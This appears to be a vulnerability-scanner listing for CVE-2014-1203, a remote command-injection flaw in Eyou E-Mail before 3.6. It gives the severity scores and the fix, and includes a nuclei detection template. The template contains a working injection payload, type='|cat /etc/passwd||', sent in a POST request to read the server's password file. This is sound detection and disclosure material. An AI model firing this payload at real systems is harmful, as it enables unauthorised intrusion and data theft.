Eyou E-Mail <3.6 - Remote Code Execution

criticalseverity

9.8CVSS score

15.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Eyou Mail System before 3.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to admin/domain/ip_login_set/d_ip_login_get.php via the get_login_ip_config_file function.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade to a patched version of Eyou E-Mail <3.6 or apply the necessary security patches.

How to confirm it

Send: POST /webadm/?q=moni_detail.do&action=gragh
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-1203 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-1203

info:
  name: Eyou E-Mail <3.6 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Eyou Mail System before 3.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to admin/domain/ip_login_set/d_ip_login_get.php via the get_login_ip_config_file function.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to a patched version of Eyou E-Mail <3.6 or apply the necessary security patches.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
    - https://nvd.nist.gov/vuln/detail/CVE-2014-1203
    - http://seclists.org/fulldisclosure/2014/Jan/32
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-1203
    cwe-id: CWE-77
    epss-score: 0.15647
    epss-percentile: 0.96873
    cpe: cpe:2.3:a:eyou:eyou:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eyou
    product: eyou
  tags: cve2014,cve,seclists,rce,eyou,vuln

http:
  - raw:
      - |
        POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type='|cat /etc/passwd||'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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